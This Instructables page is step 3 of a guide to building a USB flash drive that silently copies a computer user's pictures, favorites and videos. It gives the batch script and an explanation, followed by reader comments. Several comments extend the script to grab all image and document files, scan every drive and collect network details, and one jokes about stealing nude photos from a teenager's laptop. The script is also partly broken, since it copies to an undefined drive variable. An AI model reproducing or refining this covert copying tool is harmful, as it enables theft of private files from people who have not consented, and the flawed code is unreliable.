3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

How to make flash drive that copy's users files silently and automatically

Step 3Make the file for copy of documents to drive

Make the file for copy of documents to drive
This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh
« Previous StepDownload PDFView All StepsNext Step »
15 comments
Apr 28, 2012. 7:01 AMshan0 says:
hello
its really great subject but i just want to ask if want to copy the jpg files
but from the whole hard drive
not only form the C drive
i mean form the drive D,E,F..... etc
what should i write
and thanks alot
Mar 27, 2009. 4:02 PMJedi_Master_Revan says:
Really cool idea, but your DOSing needs some work. Like, a lot off work.
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.

Still a really cool idea though :)
-Revan
Jan 14, 2012. 8:02 PMJaware says:
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.

copied from cmd help itself states:
----------------------------------------------------------------------------------------------------
%PATH:~10,5%

would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.

%PATH:~-10%

would extract the last 10 characters of the PATH variable.

%PATH:~0,-2%

would extract all but the last 2 characters of the PATH variable.
-----------------------------------------------------------------------------------------------------
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.

such as
C:
F:
D:
and so on and so forth.

and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
Mar 21, 2011. 6:23 PMredbeardedone says:
Why does it run so slow??? Used it on a HP 6500 with a Sandisk Cruzer 8G... Also I converted the .bat file to .exe Would that make a difference maybe?
Jun 30, 2010. 9:55 PMdhynds100 says:
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
Jul 12, 2010. 2:13 PMsuperant10000 says:
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from a teen girls laptop...
May 8, 2009. 5:34 PMknoxarama says:
so if your a soldier in iraq, does that mean you got this from like the U.S. government or something? oh and, GO SOLDIERS, U ROCK KEEP OUR COUNTRY SAFE!!!!!! U GUYS ROCK!!!! GOD BLESS OUR TROOPS!!!!!
Jun 28, 2009. 1:15 AMtruthkid says:
No this is basic batch nonsense. The admins of the military's network are one step ahead with

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
Value = 3

No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card you use to login.
Jun 27, 2010. 9:42 AMgibsonav says:
and why does the DOIM do this? for tweaks just like this one. the machine and the data on it is property of the us government. violation of a DoD OpOrd is an article 15 punishable offense...nuff said. this is for "HOME" use.
Oct 13, 2009. 2:27 AMKryptonite says:
So that's how they do it at school.
Jun 28, 2009. 6:12 AMknoxarama says:
if it works it works. i've tried it and it works. it's useful. nonsense or not, if you can copy files off of a computer like that with such simple code it is something worth looking at.
Jun 4, 2009. 3:18 AManiman1 says:
that right let god bless the soldiers in a good way.
Nov 17, 2009. 5:43 PMMetalBowser22 says:
can you copy more than three files,
like documents, videos, picture, and favorites
Jun 23, 2010. 1:30 AMmitchell931993 says:
if you tell it to copy "*" it will copy erything, the * is a wild card character
May 17, 2010. 5:09 AMbenny3521 says:
Question: how do i make it not shut down?
Jun 23, 2010. 1:29 AMmitchell931993 says:
just dont include the "shutdown" bit
Jun 20, 2010. 7:38 PM3xpl0dingR4pt0r says:
do you save this to the flashdrive??
Nov 6, 2009. 8:24 PMbradster says:
what if you wanted to copy all of the my docments folder?
Jun 20, 2010. 12:42 AMMinifig666 says:
Then set it to copy my documents!
Jun 20, 2010. 9:57 AMeneergcam says:
how?
Jun 20, 2010. 10:40 AMMinifig666 says:
Just leave it as '%backupcmd% "%USERPROFILE%"' for XP. On vista if you just want the 'My Documents' folder you would need to set it as '%backupcmd% "%USERPROFILE%\My Documents"' however the videos and pictures are stored in different foloders. To get them too you should leave it as is for XP.
May 10, 2009. 7:13 PMMaster2128 says:
This works, but for some reason only the pictures get copied, nothing else. I made sure all the codes were right.
Apr 5, 2009. 8:42 AMalondra452 says:
(removed by author or community request)
May 8, 2009. 6:11 PMalondra452 says:
Thanks
Apr 28, 2009. 4:38 PMtherealsylar says:
yeah u can do
%backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\all\New Folder" for just jpeg pictues (u might also want to do another line that says *.jpeg
or *.gif etc.. for the different types of pictures
for the text documents it would be %backupcmd% "%USERPROFILE%\My Documents\*.txt" "%drive%\all\New Folder"
and the * is a wildcard so it means like anything .jpg or .gif etc..
you can also use the wildcard like this new*.jpg
new being whatever you word u want so it would only copy jpg files that have new at the begining of the file name
so it would copy "my documents\new1.jpg and new2.jpg but now 3.jpg
hope that makes sense :)) lol
May 8, 2009. 5:29 PMknoxarama says:
you could also do something like %backupcmd% "%USERPROFILE%\My Documents\*.doc" "%drive%\all\New Folder" to get documents as well
Apr 28, 2009. 4:39 PMtherealsylar says:
*but NOT lol spell check did not help me there
Apr 26, 2009. 1:51 AMKryptonite says:
Yeah I'd like this but I want music. What do you want text docs for?
Mar 27, 2009. 2:00 PMDr.H2O says:
now don't get it : does that code searches for a file named "music" for example? & will it search that file in all hard drive partitions ? Another Question dude : open\shell is a backup in case of chosing cancel..van we use it directly I mean without any prmpet ?? :):) pardon me but am so ignorant about such Things ~~ ur answer will be appreciated !

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
22
Followers
1
Author:bigdaddyclint